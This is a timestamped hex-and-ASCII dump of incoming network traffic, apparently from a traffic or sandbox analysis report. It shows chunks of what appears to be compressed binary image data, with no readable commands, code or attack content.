25 b5 c2 ad b4 51 cb b7 1b 56 45 dd b7 1e 9f 5a 96 6f 11 4f a8 48 d1 15 58 9e 35 2c ca ab b5 57 1c 9a cd 8e e4 3c ca 24 
6f bb 95 dd fc 5b 6a 44 8d 24 b7 9e 74 
Data Ascii: _m>!Ys#7v:VN.E.bM2nw9"CvRMJm+m]'5nRO/mF,@*oU/Yv]~|O9bt'|U.6?b\y}!T7ohv7dy%QVEZoOHX5,W<$o
[jD$t

2022-08-11 03:42:55 UTC 2673 IN Data Raw: f9 97 f8 59 ab 36 15 8d 9b 30 33 2c ab 96 f9 9b 6f e5 55 d9 e4 56 c6 ef 9b 77 cd fd ec d2 51 8d ee 88 e7 ee 75 
2c ee f1 ac a9 b9 7c c5 fb bf 7a af da db bd b6 a1 6d 14 8d e6 aa b0 66 55 fe 1f ad 73 d6 b7 37 16 b1 ab a7 dc ff 00 96 7e 
67 de 56 ef 5a d6 d7 df da cc a3 ee dc 32 fc db 9b 6e ef f3 e9 44 9a 5e 84 bb de e6 ae bd 72 66 b8 67 32 ee db f7 57 77 
dd 53 54 61 b1 b9 ba f2 b6 44 cc 8b f2 af cb fc 55 a9 a5 69 f6 91 c9 e6 dc dc ac f3 c7 86 58 d7 e5 5d de f5 a9 7f 78 96 f6 
ac 85 b6 bb 7d ef ef 56 1e d5 2f 76 1a 97 6e 57 a9 97 6b a4 ce d2 6e 4f 2d 60 fe 26 6f 97 73 7a fb d6 bd b4 31 da d9 b7 
90 db 9f f8 77 7d ef ad 32 43 b2 ce 2f 29 76 b3 63 e6 da 37 52 25 c8 b3 85 62 dc d3 b2 e5 95 57 fb c7 d7 e9 58 ce 4e 46 
8a d7 d4 ce 6b 68 d5 b7 5c ae ef f9 e6 cb f7 77 
Data Ascii: Y603,oUVwQu,|zmfUs7~gVZ2nD^rfg2WwSTaDUiX]x}V/vnWknO-`&osz1w}2C/)vc7R%bWXNFkh\w

2022-08-11 03:42:55 UTC 2694 IN Data Raw: 9b 76 b7 f0 fe b4 bb 8f 40 bf e7 de 9c a9 b9 b0 7e 56 db f7 a9 cc bd 8f df fe ed 68 29 26 93 22 fa 7d df f6 be ed 
3e 66 dd d7 f8 be ed 1b 8e e6 f9 7e 56 fe 15 a5 db f2 e7 fb cd 4c 51 dc 8b ef 72 57 ee d3 63 5d dc 16 6d df ec af cd 53 c8 
be 63 7f 79 7f f4 1a 8d 58 2f 23 e5 56 fb b4 1a 59 0f 66 3b be f6 ed d4 32 ec e4 ff 00 f6 34 6e 29 26 77 6d dd 9a 55 41 b7 
e6 6f 99 97 e6 a4 4c a3 72 0f e2 ff 00 66 a4 2b ba 4c 0f e2 62 d5 1b 46 ea cc 3f d9 a9 21 ca b6 7e 55 a0 71 d3 42 35 f9 
64 fe 1d df fa 0a d3 95 43 73 b7 77 cb fc 54 b3 7c ad f7 7f fb 2a 36 7c b8 dd f7 a9 f9 8e f6 dc 7d c3 17 db f3 fd df 97 6d 55 
f2 c3 7c 86 ad 33 fc d8 35 13 f2 d9 fb df 2f f1 2f e9 ed 41 12 d4 55 93 2d 9f e1 a6 48 bb bf d9 6a 91 71 26 dd df de a4 66 2
c b8 2d f2 b2 ff 00 9f ad 03 db 62 
Data Ascii: v@~Vh)&"}>f~VLQrWc]mScyX/#VYf;24n)&wmUAoLrf+LbF?!~UqB5dCswT|*6|}mU|35//AU-Hjq&f,-b

2022-08-11 03:42:55 UTC 2758 IN Data Raw: f6 5a 5e a2 d8 d1 b5 d1 96 35 6d 52 2d 42 d5 64 75 58 25 fb ab e5 fd c6 e7 d3 d6 92 d6 e2 f6 f2 df 9b 66 9f cb 
fb b2 7f 76 95 6c 6d fe fb b7 9a aa bb b6 c7 f2 aa d5 eb 5b ab 3b 7b 55 74 ff 00 8f 76 cf de 63 ba b5 e6 8c 62 94 50 d5 f6 
2c e9 b0 db d8 c2 d3 9b 65 57 55 db b9 9b f8 b1 59 7a a6 a4 6e 21 94 16 dc bf 75 be 5f 99 bf fa d5 72 fe f2 df 50 68 92 ca 
76 d9 b4 7c b2 7c bf 30 ac ab fb 3b 89 a4 f2 22 8b e5 db bb fd ef c6 b0 8a bb e6 90 37 a5 ac 67 fd 9c b4 9e 61 db 12 aa fc 
db 72 b4 e9 ae 0c d2 28 8d 7e 65 fe 25 f9 b7 56 85 be 9f 1c 6a b1 bd cf ce cd f2 c6 bf 33 71 cf 26 9e d6 36 f6 cb 2c bb bf 
7b 27 cb b7 76 e6 e7 e9 5d 0e a4 7a 13 67 d0 cb dd 76 d2 79 92 44 db 17 e6 5f 9b 6b 55 4d c6 f2 e9 62 3b a5 9e 4f 97 cb 
5f 95 79 e9 5a 52 34 71 ed 77 db 2a 2b 15 
Data Ascii: Z^5mR-BduX%fvlm[;{UtvcbP,eWUYzn!u_rPhv||0;"7gar(~e%Vj3q&6,{'v]zgvyD_kUMb;O_yZR4qw*+

2022-08-11 03:42:55 UTC 2798 IN Data Raw: 96 6c ca 3f 5e 6a e7 96 5b 8f b4 ee dc de df 35 17 2f 3a ab 09 2f 19 97 fd 95 1f 35 2f 68 f6 0f 79 95 65 b0 47 66 
31 ac 9b b6 fc ad c2 ed 61 f8 d3 e1 b0 b9 8d 54 98 2e 76 2e 7f d5 e1 99 97 eb 9a 81 ed f7 c6 c1 db 71 fb df 74 6d a6 c7 
be e1 7f 8b 67 1f 75 7e 5f 7f a5 52 93 b0 ac 5d 87 fb 45 36 ff 00 a1 dc ed dd fc 55 3a cd a8 6e c1 b1 93 67 f7 9a 3d cd f8 
d4 6a 89 1c 8b 99 db ee ff 00 12 fd ef a5 48 d2 6d e1 5a 4d ad fe ce dd df ad 2e 67 d0 d9 73 2e a0 b7 97 31 ae 24 b3 6d 
9f dd f2 d9 aa 58 ee a5 b8 85 c0 b1 65 65 f9 57 f7 67 73 55 69 3e 56 ff 00 8f c9 18 ab 7c ab ca d4 b6 f6 f7 6f f3 9b e6 d9 
f7 76 b6 7e 5f 4a 86 da d4 49 bb 88 d2 5d b7 03 4c 66 7d c7 77 ca eb f9 54 6c d7 d1 ab 3f d9 bc ad df 2b 7e ec d5 8b 9b 
a3 6a b8 79 64 6f 9b fe 7a 16 fe 55 46 4d 72 
Data Ascii: l?^j[5/:/5/hyeGf1aT.v.qtmgu~_R]E6U:ng=jHmZM.gs.1$mXeeWgsUi>V|ov~_JI]Lf}wTl?+~jydozUFMr

2022-08-11 03:42:55 UTC 2929 IN Data Raw: 6e d6 dd fd 6a 8b dc ce ad fb cb 3b c8 a2 5f 95 9a 48 fe 56 fc 2a fc d0 f8 82 15 53 06 d9 fe 5f bb c2 ed fc ea bd 
9d d7 89 59 58 dc db 41 fb bf ba ad 30 5f e5 5a 43 03 4a a3 d6 32 5f 71 12 c6 56 87 58 90 f9 ca f1 ef 79 fc a5 6f 95 9b ec 
c7 fc 2a 45 d6 b4 f5 91 63 3a 8b 31 dd b5 7f d1 b6 ff 00 4a e8 6d ee 2f 56 dd 4b cf e4 4f b7 e6 8d 5b 7a af e3 4a d7 f7 ea 
cd 18 97 72 7f b4 c3 ef 56 df d8 b0 7b 4c c1 66 f3 8e 8e 08 cb b6 9b 4a 9b 6a 49 3f 9a cd fe d0 4a be b1 e8 88 bb 0c ac 
bb 7f bb 22 33 37 14 ad 6f 2c 8c a5 d6 d9 9b ee af ee c7 f8 54 2f a6 c4 ed be 4d 32 d2 56 fe f7 96 2b 1f ec 36 f5 f6 9f 81 
a4 73 a4 b4 f6 77 24 ba d2 fc 35 a9 5b f9 72 5e 2e c6 ff 00 59 fb c0 bf e7 9a cc 87 e1 df 86 2c 6f 96 7f b6 5c f9 ea bf 79 58 
36 dc f7 a9 5f 4a d2 97 99 b4 1b 1f 
Data Ascii: nj;_HV*S_YXA0_ZCJ2_qVXyo*Ec:1Jm/VKO[zJrV{LfJjI?J"37o,T/M2V+6sw$5[r^.Y,o\yX6_J

2022-08-11 03:42:55 UTC 2945 IN Data Raw: 13 2b 11 bb 77 f0 f9 6d b6 9b 26 c9 1b 01 76 ff 00 0b 2b 7d ea 2e 5e b6 2a 5c 2c 6b 22 86 97 e5 5f 97 ee fc b4 
48 f6 e9 c9 95 99 3f bb b7 fc f1 56 d7 4d 41 fb c4 fd ee df e2 66 1d ff 00 9e 29 7e cd 1a 79 bb fe 66 5f e1 dd bb e5 a4 bb 
93 77 b1 9e cf 6d b5 8b b6 e6 65 f9 5b ee aa b5 2d ba 5b c7 23 11 2f cc d8 db ba a7 f2 6d 97 cd 8f e5 dd b7 77 dd fe 75 
24 36 31 df 46 a4 2a ed 5f e1 dd f3 55 95 62 9c d7 36 fb 95 c4 bf 32 fd dd bf 2b 51 52 35 88 46 94 bc 0b 2a 7f 79 7e f7 14 
52 b1 a2 9d 95 ac 7a 2a a7 d9 d9 64 1f 33 7f 0a af f0 d4 8c ee ab 29 db b7 77 f0 ab 6d e9 4f 78 43 49 bf 6e ef 94 6e 6f f6 
8f 34 9e 60 8f 6a 22 b6 f6 5d df 2f d7 bd 73 19 a4 ef a1 1a 5d 18 77 0d bb 97 77 f7 bf 9d 1f f1 f3 c8 56 f3 77 7f 7a 9c aa 77 
64 f4 a7 6e db 22 90 db 19 7e 56 55 6f 
Data Ascii: +wm&v+}.^*\,k"_H?VMAf)~yf_wme[-[#/mwu$61F*_Ub62+QR5F*y~Rz*d3)wmOxCInno4`j"]/s]wwVwzwdn"~VUo

2022-08-11 03:42:55 UTC 3067 IN Data Raw: 64 55 67 75 8d 51 73 f3 2c 9b 9b e9 41 3a a2 bb 5d 49 24 cc 89 07 c9 1a fd e9 17 6b 7e 54 f9 ae a3 dd 28 b8 
89 67 76 5d ad b5 57 e6 ef d6 a5 9a c6 39 15 89 96 75 89 97 e5 69 1b 77 cb dc 54 52 59 98 64 8f 0d 22 a6 e0 db 55 7f 2e 
94 03 bf 42 68 5e 0f b3 f9 a9 6d 3c 5f 2f dd 69 02 af 3e 95 59 d4 33 63 f7 91 0f e2 65 fb ad f8 7a d5 c9 ac 42 ae 65 b6 69 
59 be 55 f3 18 f7 a7 c7 0f 97 27 10 47 12 7d d6 eb f2 af ad 00 b5 57 32 9d 37 2b 09 25 fd ea b7 ca dc fc cb 53 47 6f 17 97 
f3 fd ff 00 bc bb 94 d6 83 a2 2a ac 62 5e 55 b7 2e ef ee fe 75 5b 06 dd 76 3d e6 e7 fb cb b7 e6 dd fe 14 68 24 f5 1a 96 1e 
62 fd a3 cd 65 5d a3 f7 8a df 77 ff 00 ad ed 51 be 9a f1 c6 ae 19 a5 eb bb e5 1b 76 fb 54 93 5c 4b 7d ba 21 f3 2a b7 ca b0 
47 f7 7d 29 16 e4 5b 2c 71 4e bb 55 7e 5f 33 
Data Ascii: dUguQs,A:]I$k~T(gv]W9uiwTRYd"U.Bh^m<_/i>Y3cezBeiYU'G}W27+%SGo*b^U.u[v=h$be]wQvT\K}!*G})[
,qNU~_3

Timestamp
kBytes
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2022-08-11 03:42:55 UTC 3083 IN Data Raw: 6f 93 60 5f 35 95 b6 ff 00 77 72 d3 99 63 da cf f7 9f fd 95 a7 3c 65 99 7c c9 59 9d 7e 6f f8 08 a1 2d cc b1 b6 
77 2a 37 cd bb e9 da 84 ec 52 44 6a eb e7 7c 8b b5 95 77 7f c0 69 ec c8 57 f7 6b fb dd df 77 6f f1 7e 34 9b df f7 b8 fe 1f 
bc bf ed 51 34 6c ac be 6f cc bf 77 e6 f7 f7 a7 a3 62 6a eb 42 18 d3 ce 55 d9 b9 7f bd fe d6 28 99 de 3e 23 8b cd f9 a9 cb 
09 45 df b7 6f cc 57 e5 fe 94 c9 2d 55 a3 f2 cf ca d2 30 db f3 7f 15 53 b5 89 44 aa e5 55 9e 75 5f f7 b7 1f bb f4 a6 ee 17 
1b 88 5f 93 fd 9f e2 a6 ad a9 b7 5c 06 65 65 ff 00 38 a9 36 c9 b7 3b 7c d4 5c 7f bd 52 3d 19 57 ce 0c bc 6e fe ef de f9 bf 
2a 72 ac 90 c6 a6 55 91 99 7f ba df 2d 5c 5b 54 f9 b3 f2 be e0 db 9a 92 45 92 46 52 5b ee ff 00 75 a8 bd f4 60 a2 96 e4 
0b 33 f9 6d b3 72 b6 ea 4f 3a 46 e2 26 ff 
Data Ascii: o`_5wrc<e|Y~o-w*7RDj|wiWkwo~4Q4lowbjBU(>#EoW-U0SDUu__\ee86;|\R=Wn*rU-\[TEFR[u`3mrO:F&

2022-08-11 03:42:55 UTC 3131 IN Data Raw: 57 27 73 6e 6f 95 7f 89 78 e9 4d 55 1e 62 ba 40 df ed 48 cb f2 b5 0e d2 37 95 f2 ff 00 11 6f 97 ee fe 75 33 5c 
16 6d fb b7 2a ff 00 0a fc d5 5c c3 5a ee 2b ae dd a0 2e dd ab bb fe 05 4d f3 0c 6d bd 15 97 77 de f9 b7 7e 95 52 69 36 
cd fe b7 6a 36 7e 6f bd 4c 55 8a dd 97 e6 da ab fd d5 3f 9d 34 89 7b 9a eb 34 2a dc 33 2a b6 3d 17 6d 35 9a 37 9b ef 6e 
da cb b6 4e 3e 5a cb 6b e1 27 02 5f 35 ff 00 da 8f fa 52 4f b3 6e c4 66 5f 97 e6 f9 7e f7 ad 4d 87 cc d6 86 bb 46 24 f3 64 
7f 95 fe ea aa b7 f0 ff 00 8d 54 92 37 48 d8 47 b9 b6 ff 00 0e e5 fc 6a 93 5c 04 5d 9b 9b ee 8f 9b 69 db 51 b5 e3 c2 cc 11 
97 fb bf 37 f7 7f c6 9d 9e e4 f3 2b dc d1 b7 73 b7 3b 9b 6b 2f f1 7f 5a 7a cc 8f 6e a5 f7 32 ff 00 7b fb be d5 96 d7 33 b3 61 
36 b1 fe f6 ef 97 ff 00 d7 4d 69 0b 2e 4c 
Data Ascii: W'snoxMUb@H7ou3\m*\Z+.Mmw~Ri6j6~oLU?4{4*3*=m57nN>Zk'_5ROnf_~MF$dT7HGj\]iQ7+s;k/Zzn2{3a6M
i.L

2022-08-11 03:42:55 UTC 3152 IN Data Raw: ab 32 ff 00 0f f1 54 0a d2 98 77 ed 58 ba 6e fe ef d4 d4 10 a3 24 99 fb ce ac 7e f2 fc ab 4e c1 b1 6b cc b8 91 
b2 f2 aa aa ae dd bc 2f e1 45 41 33 9f b5 36 c6 8f 6a a8 da de 5e ef d2 8a 60 b9 ad b9 1c 9f b4 16 a1 e1 5d 52 5b 7d 5d 
63 d4 ec 2c e7 f2 e7 b9 b1 51 ba 45 6e 57 1d b2 3b d5 cd 73 f6 9c b0 93 4b 8a ef 46 b6 b6 95 bc f1 0c 90 5f 7c 9d 4f 27 
23 d0 57 cf 17 3a ac 9a ca c5 70 65 93 6c 6d e7 cb f2 96 49 9f f8 38 1e bd 4d 79 ff 00 8c 34 3d 47 44 d4 27 bf 8e da 4f b1 
4b 21 ff 00 58 db 95 5c f5 1f 9d 7e 4d 87 c7 e2 aa 37 1f 69 6d 6f af e4 7d 37 b0 8b 6a c8 fb 79 7f 68 0f 0e 79 d6 c9 e4 2d 
b4 73 30 dd 24 92 0d bc 8f e1 af 45 b5 f1 0e 95 a8 69 f0 5e 96 8d 60 96 31 27 cd 38 da ab da bf 39 be 1f e3 e2 17 89 b4 
5d 1e f2 7d a9 24 e6 3f 2d 98 ef 65 eb b7 d0 01 
Data Ascii: 2TwXn$~Nk/EA36j^`]R[}]c,QEnW;sKF_|O'#W:pelmI8My4=GD'OK!X\~M7imo}7jyhy-s0$Ei^`1'89]}$?-e

2022-08-11 03:42:55 UTC 3208 IN Data Raw: 6f 1b 6b 7f 0f 75 af 33 c4 71 35 e5 84 b1 cc d6 4d 63 1f ee a4 db da 43 d9 b6 fe b5 b5 4a d1 a4 b9 9e c6 0a 2e 
f6 47 a1 17 d9 37 fa a9 23 db f3 7d da 92 e2 e5 d3 ca df 17 fe 3d f7 ab c3 bc 45 f1 d3 51 d4 a4 b1 b9 d0 da d3 4f 89 58 c6 
cb 77 39 dc db c7 b7 70 39 ae e7 50 f8 dd a1 69 b6 ff 00 68 96 78 e7 b2 8d 7c d9 27 8d 7e ec 7d 07 1e b9 f4 ed 5e 75 2c 
db 0d 55 d9 6d d3 cf d0 d5 d1 9c 6e ce a3 4f f1 32 6a 17 da 85 b7 91 e5 35 8c a9 1c bb a4 fe 16 19 0d f4 35 af 19 76 dc fb 
77 6e 5f 97 76 2b c1 3c 61 af 69 b2 6b 1a 86 ab 65 73 77 a8 79 be 42 d8 fd 9a 33 f7 4a 16 20 b1 f9 78 ed 9e 45 75 9f 07 
fc 5d 79 e2 85 96 c2 e1 ae e5 5b 35 ff 00 49 b9 bb 64 56 56 3f 73 8f 7e 47 ff 00 ae b4 a7 8e 8f b5 54 25 be af e4 4f 2b 6a 
e7 a9 3f de 64 45 5f 9b 15 0d c6 9b 05 fa ec 
Data Ascii: oku3q5McCJ.G7#}=EQOXw9p9Pihx|'~}^u,UmnO2j55vwn_v+<aikeswyB3J xEu]y[5IdVV?s~GT%O+j?dE_

2022-08-11 03:42:55 UTC 3272 IN Data Raw: b7 fc 24 9a b6 a1 14 6c b3 af 96 ec b3 ff 00 cb 55 6c f0 bc fb d7 15 73 e6 58 dd 37 98 b3 c4 f1 65 9a 4f ef 76 
c5 75 36 f3 5f 69 92 69 46 47 59 6d e2 90 cb b5 57 ef 33 1d b8 dd d4 f3 eb d2 b3 ee 2d ef 2f a4 fd dc 0c a8 bf 32 c0 df c5 
c9 fd e2 fb 1c 57 7e 1e 2e 2f 96 9a ba b1 8c a4 9a f7 b7 35 fc 0f f1 a3 55 f0 bc 2a 64 b9 91 bc c5 92 05 8e 4c ec 54 74 c1 
c0 1f c5 ef 5d 4e 95 f1 73 5b f1 15 f4 5a 9e a9 2c 93 c1 66 b1 c6 ad b7 fd 62 8c 6d 5c 1f bd c8 f9 ab c6 f5 ab 9d 4e f2 34 
89 e0 fd c4 79 6d b1 af cd 1f 38 e4 fa 8a bf 6f ad ba 68 31 5b c9 e6 6d 82 4d b1 aa fc bb 55 ba 8e 7a 13 5e a5 48 54 95 35 
05 ee db b1 8a 8c 75 7d 59 f6 1f 80 7e 3b 1f 18 69 fe 66 b0 b6 d6 d3 c9 29 f2 1a 05 f9 99 57 ae 47 40 4f 4a f4 d8 6c de e5 
62 74 9d b6 36 19 77 7c df 29 ed f8 d7 
Data Ascii: $lUlsX7eOvu6_iiFGYmW3-/2W~./5U*dLTt]Ns[Z,fbm\N4ym8oh1[mMUz^HT5u}Y~;if)WG@OJlbt6w|)

2022-08-11 03:42:55 UTC 3319 IN Data Raw: ae aa b1 36 d2 bf 36 37 31 f4 c8 ae 76 9a dd 17 ef 5f 52 35 f3 92 35 df b9 5f ef 37 cb f7 97 d2 9c da 95 c4 90 
c0 20 fd d3 73 f7 54 fc b4 2d d3 bd bc b1 48 ab b1 be 5d de 66 e6 fc 6a 4d 35 93 4b 92 39 67 56 65 66 dc ca ad f7 96 a5 
ed 76 ae c6 ec 98 6b 1a 21 6b 58 35 0f b4 c1 3b 4f 96 92 38 db e7 8d b1 dc 62 b9 9f b5 15 fe ee da de 92 e1 13 f7 a9 2e 
d8 99 4f 98 ad fc 35 cd 49 8d db 47 dd fe 16 fe ed 6f 46 f6 b3 d4 69 dc 96 35 3f 2c 9f 79 9b e6 f9 a9 c8 c5 a4 67 1f f8 f5 42 
cc c9 1e d1 f7 bf 8a a4 85 ff 00 77 81 ff 00 02 5a e8 b0 2d ec 5b 69 95 17 3f f7 d6 dc d5 36 ca f4 dc ad bb fe f9 a7 c6 db f7 
83 bb ef 53 19 f6 32 00 bf f7 d5 4a 5a 85 4b e9 62 cd ba c9 6e ac c5 7e ef de a6 dc 28 93 a2 b6 d6 a1 ee 4c 2c a4 7d c6 
fe f7 dd a5 b9 98 cd 27 1f 75 7e 5d ab 46 
Data Ascii: 6671v_R55_7 sT-H]fjM5K9gVefvk!kX5;O8b.O5IGoFi5?,ygBwZ-[i?6S2JZKbn~(L,}'u~]F

2022-08-11 03:42:55 UTC 3335 IN Data Raw: 74 31 58 57 6a 4f 73 5b c2 6b 53 1b 5c f0 0c 9a 24 33 dd 99 f4 fb c6 9d bf e3 da d9 97 f7 2a 79 f9 47 61 59 49 
f1 1f 50 4f 0c b6 87 72 ab 06 9d 14 62 36 81 57 6f 98 a0 e4 67 d6 b6 6e 65 d4 35 86 69 3c d5 96 56 cf cd c2 ed 6f c3 a7 
a5 71 5e 28 b8 bb b9 91 a4 be 6f 36 e2 2c 2f dd db b5 47 41 ef 5e c6 02 b5 66 ed 56 49 be a6 15 29 45 ca f1 5a 1d 2f c3 
bd 42 3b ff 00 14 5b 5b 25 b2 fd 96 ea 71 6c b0 71 ba 35 93 83 f3 1f cc 1a fa 6e c7 e0 ae 99 f0 df 5e 83 50 d7 3c 4b 04 1a 
76 d6 6f ec d6 8c b3 79 28 77 0c 49 8e 58 60 1a f8 92 3d 5a 48 e4 8a 50 cd 04 b1 e3 e6 8f e5 6d df 85 7b ff 00 c3 7f 8b 
d7 ba 76 a1 e1 a6 96 fa ed b4 48 a4 f2 ee 63 d4 af 7c f4 87 77 0d f2 8f 9b 07 de be af 0d c9 7f 78 f3 2b 46 49 fb af a1 f6 
85 83 5b eb 56 b6 d7 76 73 fd aa ce 58 f7 45 24 
Data Ascii: t1XWjOs[kS\$3*yGaYIPOrb6Wogne5i<Voq^(o6,/GA^fVI)EZ/B;[[%qlq5n^P<Kvoy(wIX`=ZHPm{vHc|wx+FI
[VvsXE$

2022-08-11 03:42:55 UTC 3422 IN Data Raw: f6 6d 83 aa fe 4d 9a af aa fe c0 f2 2a ef d3 bc 55 1c 8e bf 79 6e 6d 0a fc be c5 4d 69 e9 56 be 12 56 80 69 de 
38 d2 f5 3d b2 7c de 7d cb da b6 df 7c 57 a8 68 3a a6 9d a9 46 d6 f6 1e 21 b1 df 1f ca bf d9 f7 a7 f7 2b dc 91 9c b6 6b e5 
ab 67 19 e6 1d f3 c7 12 e4 bc e1 6f cd 1d 90 8d 09 69 ca af ea 7c e5 71 fb 0b f8 d1 64 68 c5 e6 9b 2c 5c b7 9a b3 ed dd 
8e d8 23 ad 72 fa a7 ec 87 f1 03 4a b7 57 3a 2f db 1b 77 cb f6 49 d1 9b eb 5f 71 58 59 95 68 a3 8a e6 ee 74 f2 cb 2c 8c 
cc cb 5a 73 36 eb 38 bf d5 b3 46 db 63 92 45 dd d6 92 e3 6c da 8c bd ee 56 bd 1a fd 4d 5e 0e 8c 95 96 87 e6 d6 a9 f0 4f 
c5 fa 1c 9b 2f 7c 3d a8 5b 6e 6f 95 9a 32 df fa 0d 63 de 7c 3d d5 f4 ff 00 9e ef 4f b9 8b 6f cd fb c8 ca ae d3 ef 5f a8 9f 68 
75 b7 67 2a aa ab f7 99 b2 cb bb d8 7a 51 74 
Data Ascii: mM*UynmMiVVi8=|}|Wh:F!+kgoi|qdh,\#rJW:/wI_qXYht,Zs68FcElVM^O/|=[no2c|=Oo_hug*zQt

2022-08-11 03:42:55 UTC 3477 IN Data Raw: 5a c4 87 45 b7 d2 97 cf d3 b5 09 2e 65 59 02 f9 6d 19 5d ac 4e 7a fd 2a 95 cd e5 ca 42 d7 0f 17 90 9f 75 76 
b7 ca b9 3d 87 a9 af 32 54 75 4e 95 92 f4 34 51 b3 ee 76 fe 18 f1 24 fa 2e b5 6d 67 61 2b 34 4a df bc 8e ef e6 48 db b9 c0 
e9 fd 2b d2 34 fd 7a c2 f2 18 25 92 5b 19 dd 7e f3 40 bf 32 b1 fb cc 77 9c b7 5a f0 7d 2f 4f 96 fa f3 7a de 40 af 2a fc db 73 
f2 fd 7f 0a ed 36 e8 9e 0c b7 59 27 96 db 55 bd 69 0a ac 71 e5 5b e5 e9 21 cf f0 9c f4 af 23 1b 84 a5 26 94 5b 72 f2 df f1 
34 a7 51 a7 77 b1 d0 f8 aa fa 39 f5 05 bb b2 be 92 7d bf 2c b3 ce db bc ec 70 08 ff 00 0a e4 f5 cb 8b db 19 22 73 73 1c a9 
36 23 fd da ff 00 09 c7 7f 6f 4a 8a db c4 10 4c ab f6 f6 8e 2f 9b 72 f9 11 fd ee bc 67 3f f0 1a d5 f1 0c 7a 3e 93 a5 c0 2d fc 
cb eb d5 95 24 68 e0 5f 92 10 7b 7f 
Data Ascii: ZE.eYm]Nz*Buv=2TuN4Qv$.mga+4JH+4z%[~@2wZ}/Oz@*s6Y'Uiq[!#&[r4Qw9},p"ss6#oJL/rg?z>-$h_{

2022-08-11 03:42:55 UTC 3493 IN Data Raw: 97 12 b4 b2 ae 16 46 65 f9 3f 4a ea 61 f0 9e a7 e1 eb 5b 99 24 b3 91 a5 91 76 aa aa fc bb 4f a5 62 e8 be 1f bd 
d6 ee 2e 6d 92 29 fc f4 61 23 6d f6 1d 0d 6f 4e ad 36 ef cd a2 12 7a 98 10 a4 92 36 4a fc df c3 b7 fc 7d 2a bc 91 bc 37 4a 
64 5f 95 b0 cd f8 7d 6b d3 57 c2 2f 1c 3b ce d8 3e 5f de 6d 6d ac d5 cf ea de 1e 37 13 40 0c bb 56 46 da bb bf bb 8a da 
15 61 27 ee ec 69 d7 4d 8a 77 2f 6f 7d f3 a4 51 f9 5c 32 ed 5f 9b 76 39 cd 63 6a 17 d1 cd 75 e6 79 5e 50 55 0b fe cb 37 f4 
ae 9d f4 99 34 ad 2f fd 42 ac ad f3 2e df bd 5c e5 e5 9c b7 92 34 b0 2a fc bf 7d 69 c2 c9 93 67 6b 34 68 59 db ae a1 0b 2c 
4b f2 46 bb 97 e6 fb de b5 41 e1 f3 2e 19 1d be ef dd ff 00 6a a6 b6 32 b2 b2 08 99 55 54 fc db be f3 54 6a db da 22 1b 6a 
ed da d4 f5 4d dc 7c bd 0d 0b 34 fb 1d ac 
Data Ascii: Fe?Ja[$vOb.m)a#moN6z6J}*7Jd_}kW/;>_mm7@VFa'iMw/o}Q\2_v9cjuy^PU74/B.\4*}igk4hY,KFA.j2UTTj"jM|4

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 3534 IN Data Raw: 6e 27 fb 64 6b 21 dc cb 85 45 f7 1e 82 ab 68 b7 d3 dc e8 f7 d3 f9 b2 34 b1 a6 d6 f9 be f2 1e c7 da b0 15 0d d4 
6a 82 2d b2 ee dc d2 6e f9 76 ff 00 85 47 b2 8c 6d a8 54 4b 46 8d 55 d2 f7 4d 98 da 36 81 bf 85 64 f9 ab 2f 52 92 38 e3 fe 
eb 2e 56 55 6f ef 0e c2 9a a9 2d 8d c4 62 4f 95 59 bf 8b e5 dd 4c d5 b5 03 79 0f 95 e5 47 fb b6 db ba 3f bc df ef 1a a8 c5 
de f7 b9 82 8b 44 ab ac 07 f3 e2 48 b6 b3 2f dd fe 26 63 8a 76 a5 71 6f 07 94 2d 1e 75 7d a3 cc dc a2 b0 dd 64 49 31 f3 
6f dc 1b 77 d2 b4 11 ad d3 86 dd 72 fb 43 7d e2 aa be a2 b6 50 8c 65 74 55 a2 92 8b 1b 6f a8 5c 5b cc b7 11 cb e5 4b b4 
ed 6a bf e1 ff 00 11 0d 1b 56 82 f4 6e 95 e2 90 36 e5 ff 00 0e f5 8e ec ff 00 29 dd b5 77 1d aa df c3 48 ad b1 b2 3e f7 fb 
35 75 22 a5 1b 58 1c 13 56 3e a9 f8 6f e2 ab 
Data Ascii: n'dk!Eh4j-nvGmTKFUM6d/R8.VUo-bOYLyG?DH/&cvqo-u}dI1owrC}PetUo\[KjVn6)wH>5u"XV>o

2022-08-11 03:42:55 UTC 3669 IN Data Raw: de 2c d3 34 db e8 34 f1 ba 7d 46 49 04 7f 66 5c 33 73 dc f1 d0 7a 9a f9 cf c3 df 1a 35 0b ad 1d bc 39 a7 69 96 
31 4b 75 1f 91 e7 f2 9e 5a e3 ef 0e db 85 7a 4f 81 75 8d 2f c2 76 f1 7d b6 f2 3b 9d 66 e6 4d bf df b9 98 9e 9b bd 3f a5 7e 
77 8f c2 55 e6 73 aa b6 d1 25 ae 9d c5 0f 74 f4 b9 26 b3 5b e9 63 7d bb b6 ee 66 65 3f cf a5 66 78 c3 58 b8 f0 cd ac 1a 
84 56 ca d6 71 37 ef f7 2a ed d8 47 0d c7 3c 77 ad 26 d5 ae 75 08 d9 d2 78 1a df ee ab 6d 0d b9 ab 8d f1 b7 88 ad 35 8f 
08 ea a9 14 ff 00 bd 89 7c b9 ed 22 6f 9f af 61 df fc 2b c2 a1 4f da 54 51 6a eb a8 73 47 56 cd 6d 6a 18 ef 34 96 bd 86 79 
15 5a 07 66 92 d9 b7 2a e4 71 9c f6 35 f2 4e a9 77 12 43 e6 45 16 ed cc 55 b7 37 ca aa 4f 45 15 b7 a5 78 d2 ef c3 7a 84 
b1 45 78 cd a5 c8 a6 29 63 6f bb c8 f4 f6 ae 73 
Data Ascii: ,44}FIf\3sz59i1KuZzOu/v};fM?~wUs%t&[c}fe?fxXVq7*G<w&uxm5|"oa+OTQjsGVmj4yZf*q5NwCEU7OExzE
x)cos

2022-08-11 03:42:55 UTC 3725 IN Data Raw: d4 9a 27 66 6f 36 32 aa cd f2 fc b5 ce 19 a4 b6 56 4d df 77 ee b7 f7 6b 96 9d 2b 2e 57 ba 36 72 76 b9 a3 c3 5f 
37 cc df 67 ff 00 6b fb c2 ab b3 3f 9c c5 55 95 23 f9 9b e5 fe 1a 86 dd 4d c2 aa 19 57 7c 8c 17 ef 6d 55 f7 ad f9 b5 bb 9f 0c
6e 8f 4c be 59 da e6 db ca b9 6d a1 95 94 f6 a7 2e 68 d9 41 5d 91 aa 76 ea 69 fc 3f f1 06 ab e1 5f 14 5b 45 bb c8 8a 79 
03 79 17 79 54 93 3d 32 7f ad 7d 34 da c2 68 f1 cb 7f 1e 95 b7 4d 6f 9a 7b db 66 47 48 db b9 20 7f 0f fb 55 f1 f5 e7 88 6f 
